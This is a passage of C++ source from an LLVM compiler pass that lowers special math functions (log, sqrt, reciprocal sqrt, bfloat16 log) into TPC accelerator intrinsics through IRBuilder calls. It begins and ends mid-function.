0.44269504088896340735992)));\n\n // %mul13.i.i = fmul <64 x float> %add3.i.i, <float\n // 0.44269504088896340735992..\n auto Mul13ii = Builder.CreateFMul(\n Add3ii, ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, 0.44269504088896340735992)));\n\n // %add14.i.i = fadd <64 x float> %mul13.i.i, %mul12.i.i\n auto Add14ii = Builder.CreateFAdd(Mul13ii, Mul12ii);\n\n // %add15.i.i = fadd <64 x float> %sub11.i.i, %add14.i.i\n auto Add15ii = Builder.CreateFAdd(Sub11ii, Add14ii);\n\n // %add16.i.i = fadd <64 x float> %add3.i.i, %add15.i.i\n auto Add16ii = Builder.CreateFAdd(Add3ii, Add15ii);\n\n // %add17.i.i = fadd <64 x float> %16, %add16.i.i\n auto Add17ii = Builder.CreateFAdd(Convert2, Add16ii);\n\n // %mul18.i.i = fmul <64 x float> %add17.i.i, <float 0.69314718056...\n auto Mul18ii = Builder.CreateFMul(\n Add17ii,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 0.69314718056)));\n\n // %17 = tail call <64 x float> @llvm.tpc.fclass...(<64 x float> %2, i8 0, i32\n // 0,\n Types = {Float64Type, I8Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto Fclass1 = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw10, Sw2, UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %18 = tail call <64 x float> @llvm.tpc.calc.fp.special\n // <64 x float> %17, <64 x float> undef, i8 0, i32 3, <64 x float> %mul18.i.i\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto FPSpecial = Builder.CreateCall(\n Intrinsic, {Fclass1, UndefValue::get(Float64Type), Sw10,\n ConstantInt::get(I32Type, 3), Mul18ii, Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(FPSpecial);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceReciprocalSqrtWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw10 = ConstantInt::get(I8Type, 0);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <64 x i32> @llvm.tpc.extract.exp.v64i32.v64f32.i1(<64 x\n // float> %2, i8 0, i32 0, <64 x i32> undef, i1 true, i1 false) #3\n SmallVector<Type *, 6> Types{Float64Type, I8Type, I32Type,\n Int64Type, I1Type, I1Type};\n auto FType = FunctionType::get(Int64Type, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw10, Sw2, UndefValue::get(Int64Type), Predicate, Polarity});\n\n // %and.i.i = and <64 x i32> %3, <i32 1, i32 1...\n auto Andii = Builder.CreateAnd(\n ExtractExp, ConstantVector::getSplat(64, ConstantInt::get(I32Type, 1)));\n\n // %4 = bitcast <64 x i32> %and.i.i to <256 x i8>\n auto BitCastI8256 = Builder.CreateBitCast(Andii, I8256Type);\n\n // %5 = tail call <64 x float> @llvm.tpc.form.fp.num...\n // <256 x i8> %4, <64 x float> %2, <64 x float> %2, i8 0, i32 2304,\n Types = {I8256Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP1 = Builder.CreateCall(\n Intrinsic,\n {BitCastI8256, Operand, Operand, Sw10, ConstantInt::get(I32Type, 2304),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %6 = tail call <128 x i32> @llvm.tpc.get.lut.entry.v128i32.v64f32.i1(<64 x\n // float> %5, i8 16, i8 0, i32 16384, <128 x i32> undef, i1 true, i1 false)\n // #3\n Types = {Float64Type, I8Type, I8Type, I32Type, Int128Type, I1Type, I1Type};\n FType = FunctionType::get(Int128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry1 = Builder.CreateCall(\n Intrinsic, {FormFP1, ConstantInt::get(I8Type, 16),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 16384),\n UndefValue::get(Int128Type), Predicate, Polarity});\n\n // %7 = shufflevector <128 x i32> %6...0...63\n auto Mask = createSequentialMask(Builder, 0, 64, 0);\n auto Shuffe1 =\n Builder.CreateShuffleVector(LutEntry1, UndefValue::get(Int128Type), Mask);\n\n // %8 = shufflevector <128 x i32> %6...64...127\n Mask = createSequentialMask(Builder, 64, 64, 0);\n auto Shuffe2 =\n Builder.CreateShuffleVector(LutEntry1, UndefValue::get(Int128Type), Mask);\n\n // %9 = bitcast <64 x i32> %8 to <64 x float>\n auto BitCast1 = Builder.CreateBitCast(Shuffe2, Float64Type);\n\n // %sub.i.i = fsub <64 x float> %5, %9\n auto Subii = Builder.CreateFSub(FormFP1, BitCast1);\n\n // %10 = tail call <64 x float> @llvm.tpc.lookup.1c.v64f32.v64i32(<64 x i32>\n // %7, i32 1, i32 0, <64 x float> undef, i1 true, i1 false) #3\n Types = {Int64Type, I32Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic,\n {Shuffe1, ConstantInt::get(I32Type, 1), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %11 = tail call <128 x float> @llvm.tpc.lookup.2c...\n // <64 x i32> %7, i32 128, i32 0, <128 x float> undef\n Types = {Int64Type, I32Type, I32Type, Float128Type, I1Type, I1Type};\n FType = FunctionType::get(Float128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto Lookup2 = Builder.CreateCall(\n Intrinsic,\n {Shuffe1, ConstantInt::get(I32Type, 1), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float128Type), Predicate, Polarity});\n\n // %12 = shufflevector <128 x float> %11, 0...63\n Mask = createSequentialMask(Builder, 0, 64, 0);\n auto Shuffle3 =\n Builder.CreateShuffleVector(Lookup2, UndefValue::get(Float128Type), Mask);\n\n // %13 = shufflevector <128 x float> %11, 64...127\n Mask = createSequentialMask(Builder, 64, 64, 0);\n auto Shuffle4 =\n Builder.CreateShuffleVector(Lookup2, UndefValue::get(Float128Type), Mask);\n\n // %14 = tail call <64 x float> @llvm.tpc.mac...\n // (<64 x float> %13, <64 x float> %sub.i.i, i8 0, i32 0, <64 x float> %12\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 = Builder.CreateCall(\n Intrinsic, {Shuffle4, Subii, Sw10, Sw2, Shuffle3, Predicate, Polarity});\n\n // %15 = tail call <64 x float> @llvm.tpc.mac...\n // <64 x float> %14, <64 x float> %sub.i.i, i8 0, i32 0, <64 x float> %10\n auto Mac2 = Builder.CreateCall(\n Intrinsic, {Mac1, Subii, Sw10, Sw2, Lookup1, Predicate, Polarity});\n\n // %16 = bitcast <64 x float> %15 to <64 x i32>\n auto BitCast2 = Builder.CreateBitCast(Mac2, Int64Type);\n\n // %17 = lshr <64 x i32> %3, <i32 1...\n auto Lshr = Builder.CreateLShr(\n ExtractExp, ConstantVector::getSplat(64, ConstantInt::get(I32Type, 1)));\n\n // %shl.i.i = shl <64 x i32> %17, <i32 23,...\n auto Shlii = Builder.CreateShl(\n Lshr, ConstantVector::getSplat(64, ConstantInt::get(I32Type, 23)));\n\n // %sub4.i.i = sub <64 x i32> %16, %shl.i.i\n auto Sub4ii = Builder.CreateSub(BitCast2, Shlii);\n\n // %18 = bitcast <64 x i32> %sub4.i.i to <64 x float>\n auto BitCast3 = Builder.CreateBitCast(Sub4ii, Float64Type);\n\n // %19 = tail call <64 x float> @llvm.tpc.fclass...64 x float> %2, i8 0, i32\n // 0,\n Types = {Float64Type, I8Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto Fclass1 = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw10, Sw2, UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %20 = tail call <64 x float> @llvm.tpc.calc.fp.special...\n // <64 x float> %19, <64 x float> undef, i8 0, i32 1, <64 x float> %18,\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto FPSpecial = Builder.CreateCall(\n Intrinsic, {Fclass1, UndefValue::get(Float64Type), Sw10,\n ConstantInt::get(I32Type, 1), BitCast3, Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(FPSpecial);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceSqrtWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw10 = ConstantInt::get(I8Type, 0);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <64 x i32> @llvm.tpc.extract.exp..<64 x float> %2, i8 0, i32\n // 0,\n SmallVector<Type *, 6> Types{Float64Type, I8Type, I32Type,\n Int64Type, I1Type, I1Type};\n auto FType = FunctionType::get(Int64Type, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw10, Sw2, UndefValue::get(Int64Type), Predicate, Polarity});\n\n // %and.i.i = and <64 x i32> %3, <i32 1, i32 1...\n auto Andii = Builder.CreateAnd(\n ExtractExp, ConstantVector::getSplat(64, ConstantInt::get(I32Type, 1)));\n\n // %4 = bitcast <64 x i32> %and.i.i to <256 x i8>\n auto BitCastI8256 = Builder.CreateBitCast(Andii, I8256Type);\n\n // %5 = tail call <64 x float> @llvm.tpc.form.fp.num...\n // <256 x i8> %4, <64 x float> %2, <64 x float> %2, i8 0, i32 2304,\n Types = {I8256Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP1 = Builder.CreateCall(\n Intrinsic,\n {BitCastI8256, Operand, Operand, Sw10, ConstantInt::get(I32Type, 2304),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %6 = tail call <128 x i32> @llvm.tpc.get.lut.entry...\n // <64 x float> %5, i8 17, i8 0, i32 16384, <128 x i32> undef, i1 true, i1\n // false\n Types = {Float64Type, I8Type, I8Type, I32Type, Int128Type, I1Type, I1Type};\n FType = FunctionType::get(Int128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry1 = Builder.CreateCall(\n Intrinsic, {FormFP1, ConstantInt::get(I8Type, 17),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 16384),\n UndefValue::get(Int128Type), Predicate, Polarity});\n\n // %7 = shufflevector <128 x i32> %6...0...63\n auto Mask = createSequentialMask(Builder, 0, 64, 0);\n auto Shuffe1 =\n Builder.CreateShuffleVector(LutEntry1, UndefValue::get(Int128Type), Mask);\n\n // %8 = shufflevector <128 x i32> %6...64...127\n Mask = createSequentialMask(Builder, 64, 64, 0);\n auto Shuffe2 =\n Builder.CreateShuffleVector(LutEntry1, UndefValue::get(Int128Type), Mask);\n\n // %9 = bitcast <64 x i32> %8 to <64 x float>\n auto BitCast1 = Builder.CreateBitCast(Shuffe2, Float64Type);\n\n // %sub.i.i = fsub <64 x float> %5, %9\n auto Subii = Builder.CreateFSub(FormFP1, BitCast1);\n\n // %10 = tail call <64 x float> @llvm.tpc.lookup.1c\n // (<64 x i32> %7, i32 128, i32 0...\n Types = {Int64Type, I32Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic,\n {Shuffe1, ConstantInt::get(I32Type, 128), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %11 = tail call <128 x float> @llvm.tpc.lookup.2c...\n // <64 x i32> %7, i32 128, i32 0, <128 x float> undef\n Types = {Int64Type, I32Type, I32Type, Float128Type, I1Type, I1Type};\n FType = FunctionType::get(Float128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto Lookup2 = Builder.CreateCall(\n Intrinsic,\n {Shuffe1, ConstantInt::get(I32Type, 128), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float128Type), Predicate, Polarity});\n\n // %12 = shufflevector <128 x float> %11, 0...63\n Mask = createSequentialMask(Builder, 0, 64, 0);\n auto Shuffle3 =\n Builder.CreateShuffleVector(Lookup2, UndefValue::get(Float128Type), Mask);\n\n // %13 = shufflevector <128 x float> %11, 64...127\n Mask = createSequentialMask(Builder, 64, 64, 0);\n auto Shuffle4 =\n Builder.CreateShuffleVector(Lookup2, UndefValue::get(Float128Type), Mask);\n\n // %14 = tail call <64 x float> @llvm.tpc.mac...\n // (<64 x float> %13, <64 x float> %sub.i.i, i8 0, i32 0, <64 x float> %12\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 = Builder.CreateCall(\n Intrinsic, {Shuffle4, Subii, Sw10, Sw2, Shuffle3, Predicate, Polarity});\n\n // %15 = tail call <64 x float> @llvm.tpc.mac...\n // <64 x float> %14, <64 x float> %sub.i.i, i8 0, i32 0, <64 x float> %10\n auto Mac2 = Builder.CreateCall(\n Intrinsic, {Mac1, Subii, Sw10, Sw2, Lookup1, Predicate, Polarity});\n\n // %16 = bitcast <64 x float> %15 to <64 x i32>\n auto BitCast2 = Builder.CreateBitCast(Mac2, Int64Type);\n\n // %17 = lshr <64 x i32> %3, <i32 1...\n auto Lshr = Builder.CreateLShr(\n ExtractExp, ConstantVector::getSplat(64, ConstantInt::get(I32Type, 1)));\n\n // %shl.i.i = shl <64 x i32> %17, <i32 23,...\n auto Shlii = Builder.CreateShl(\n Lshr, ConstantVector::getSplat(64, ConstantInt::get(I32Type, 23)));\n\n // %add.i.i = add <64 x i32> %shl.i.i, %16\n auto Addii = Builder.CreateAdd(Shlii, BitCast2);\n\n // %18 = bitcast <64 x i32> %add.i.i to <64 x float>\n auto BitCast3 = Builder.CreateBitCast(Addii, Float64Type);\n\n // %19 = tail call <64 x float> @llvm.tpc.sel.eq...\n // <64 x float> %2, float 0.000000e+00, <64 x float> zeroinitializer, <64 x\n // float> %18, i8 0, i32 0,\n Types = {Float64Type, F32Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_eq, FType),\n FType)\n .getCallee());\n auto SelEq = Builder.CreateCall(\n Intrinsic, {Operand, ConstantFP::get(F32Type, 0.0),\n Constant::getNullValue(Float64Type), BitCast3, Sw10, Sw2,\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %20 = tail call <64 x float> @llvm.tpc.fclass...64 x float> %2, i8 0, i32\n // 0,\n Types = {Float64Type, I8Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto Fclass1 = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw10, Sw2, UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %21 = tail call <64 x float> @llvm.tpc.calc.fp.special...\n // <64 x float> %20, <64 x float> undef, i8 0, i32 2, <64 x float> %19,\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto FPSpecial = Builder.CreateCall(\n Intrinsic, {Fclass1, UndefValue::get(Float64Type), Sw10,\n ConstantInt::get(I32Type, 2), SelEq, Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(FPSpecial);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceBF16LogWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw1 = ConstantInt::get(I8Type, 1);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <128 x i16> @llvm.tpc.extract.exp.v128i16.v128bf16.i1(<128 x\n // bfloat> %2,...\n SmallVector<Type *, 6> Types{Bfloat128Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n auto FType = FunctionType::get(Short128Type, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw1, Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %4 = bitcast <128 x bfloat> %2 to <128 x i16>\n auto BitCastShort128 = Builder.CreateBitCast(Operand, Short128Type);\n\n // %5 = tail call <128 x i16> @llvm.tpc.and.v128i16.v128i16.i16.i1(<128 x i16>\n // %4, i16 -4,...\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_and, FType), FType)\n .getCallee());\n auto AndShort128 = Builder.CreateCall(\n Intrinsic, {BitCastShort128, ConstantInt::get(I16Type, -4),\n ConstantInt::get(I8Type, 8), Sw2,\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %6 = bitcast <128 x i16> %5 to <128 x bfloat>\n auto BitCastBfloat128 = Builder.CreateBitCast(AndShort128, Bfloat128Type);\n\n // %7 = tail call <256 x i16> @llvm.tpc.get.lut.entry.v256i16.v128bf16.i1(<128\n // x bfloat> %6...\n Types = {Bfloat128Type, I8Type, I8Type, I32Type,\n Short256Type, I1Type, I1Type};\n FType = FunctionType::get(Short256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry1 = Builder.CreateCall(\n Intrinsic, {BitCastBfloat128, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I8Type, 1), ConstantInt::get(I32Type, 32768),\n UndefValue::get(Short256Type), Predicate, Polarity});\n\n // %8 = shufflevector <256 x i16> %7, <256 x i16> undef, <128 x i32> <i32 0,\n // i32 1,...\n auto Mask = createSequentialMask(Builder, 0, 128, 0);\n auto Shuffe1 = Builder.CreateShuffleVector(\n LutEntry1, UndefValue::get(Short256Type), Mask);\n\n // %9 = shufflevector <256 x i16> %7, <256 x i16> undef, <128 x i32> <i32\n // 128...\n Mask = createSequentialMask(Builder, 128, 128, 0);\n auto Shuffe2 = Builder.CreateShuffleVector(\n LutEntry1, UndefValue::get(Short256Type), Mask);\n\n // %10 = bitcast <128 x i16> %9 to <128 x bfloat>\n auto BitCastBfloat1282 = Builder.CreateBitCast(Shuffe2, Bfloat128Type);\n\n // %11 = tail call <128 x i16> @llvm.tpc.and.v128i16.v128i16.i16.i1(<128 x\n // i16> %8, i16 3...\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_and, FType), FType)\n .getCallee());\n auto AndShort1281 = Builder.CreateCall(\n Intrinsic,\n {Shuffe1, ConstantInt::get(I16Type, 3), ConstantInt::get(I8Type, 8), Sw2,\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %12 = tail call <128 x bfloat>\n // @llvm.tpc.form.fp.num.v128bf16.v128bf16.i1(<128 x bfloat>... <128 x bfloat>\n // %10, <128 x bfloat> %10...\n Types = {Bfloat128Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP1 = Builder.CreateCall(\n Intrinsic, {ConstantVector::getSplat(128, getBfloatValue(1.0)),\n BitCastBfloat1282, BitCastBfloat1282, Sw1, Sw2,\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %13 = tail call <128 x bfloat> @llvm.tpc.sel.eq..(<128 x i16> %11, i16 2,\n // <128 x bfloat> %10, <128 x bfloat> %12...)\n Types = {Short128Type, I16Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_eq, FType),\n FType)\n .getCallee());\n auto SelEq = Builder.CreateCall(\n Intrinsic, {AndShort1281, ConstantInt::get(I16Type, 2), BitCastBfloat1282,\n FormFP1, ConstantInt::get(I8Type, 8), Sw2,\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %14 = tail call <128 x bfloat> @llvm.tpc.form.fp.num...(<128 x bfloat> %13,\n // <128 x bfloat> %2, <128 x bfloat> %2...\n Types = {Bfloat128Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP2 = Builder.CreateCall(\n Intrinsic, {SelEq, Operand, Operand, Sw1, Sw2,\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %15 = fsub <128 x bfloat> %14, %13\n auto FSub1 = Builder.CreateFSub(FormFP2, SelEq);\n\n // %16 = tail call <256 x bfloat> @llvm.tpc.lookup.2c...(<128 x i16> %8, i32\n // 136, i32 1, <256 x bfloat> zeroinitializer,)\n Types = {Short128Type, I32Type, I32Type, Bfloat256Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic,\n {Shuffe1, ConstantInt::get(I32Type, 136), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat256Type), Predicate, Polarity});\n\n // %C0C1.sroa.0.256.vec.extract.i.i = shufflevector <256 x bfloat>\n // %16...128...255\n Mask = createSequentialMask(Builder, 128, 128, 0);\n auto ShuffleBfloat2561 = Builder.CreateShuffleVector(\n Lookup1, UndefValue::get(Bfloat256Type), Mask);\n\n // %C0C1.sroa.0.0.vec.extract.i.i = shufflevector <256 x bfloat> %16...0...128\n Mask = createSequentialMask(Builder, 0, 128, 0);\n auto ShuffleBfloat2562 = Builder.CreateShuffleVector(\n Lookup1, UndefValue::get(Bfloat256Type), Mask);\n\n // %17 = tail call <128 x bfloat> @llvm.tpc.mac...(<128 x bfloat>\n // %C0C1.sroa.0.256.vec.extract.i.i, <128 x bfloat> %15, i8 1, i32 0, <128 x\n // bfloat> %C0C1.sroa.0.0.vec.extract.i.i)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 =\n Builder.CreateCall(Intrinsic, {ShuffleBfloat2561, FSub1, Sw1, Sw2,\n ShuffleBfloat2562, Predicate, Polarity});\n\n // %18 = tail call <128 x bfloat> @llvm.tpc.convert.v128bf16.v128i16..(<128 x\n // i16> %3,...)\n Types = {Short128Type, I8Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto Convert1 = Builder.CreateCall(\n Intrinsic,\n {ExtractExp, ConstantInt::get(I8Type, 7), ConstantInt::get(I32Type, 256),\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %19 = tail call <256 x i1> @llvm.tpc.cmp.eq...(<128 x i16> %11, i16 0,...)\n Types = {Short128Type, I16Type, I8Type, I32Type, Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_eq, FType),\n FType)\n .getCallee());\n auto CmpEq1 = Builder.CreateCall(\n Intrinsic,\n {AndShort1281, ConstantInt::get(I16Type, 0), ConstantInt::get(I8Type, 8),\n Sw2, UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %20 = tail call <128 x bfloat> @llvm.tpc.sub.v128bf16...(<128 x bfloat>\n // %14, bfloat 0xH3F80,)\n Types = {Bfloat128Type, BF16Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sub, FType), FType)\n .getCallee());\n auto Sub1 = Builder.CreateCall(\n Intrinsic, {FormFP2, getBfloatValue(1.0), Sw1, Sw2,\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %21 = tail call <128 x bfloat> @llvm.tpc.mul...(<128 x bfloat> %17, <128 x\n // bfloat> %20, i8 1, i32 0, <128 x bfloat> %17,)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, Char256Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mul, FType), FType)\n .getCallee());\n auto Mul1 = Builder.CreateCall(\n Intrinsic, {Mac1, Sub1, Sw1, Sw2, Mac1, CmpEq1,\n /*Inverted Pred*/ ConstantInt::getTrue(M.getContext())});\n\n // %22 = tail call <128 x bfloat> @llvm.tpc.add..(<128 x bfloat> %21, <128 x\n // bfloat> %18, i8 1, i32 0, <128 x bfloat> %21)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, Char256Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_add, FType), FType)\n .getCallee());\n auto Add11 = Builder.CreateCall(\n 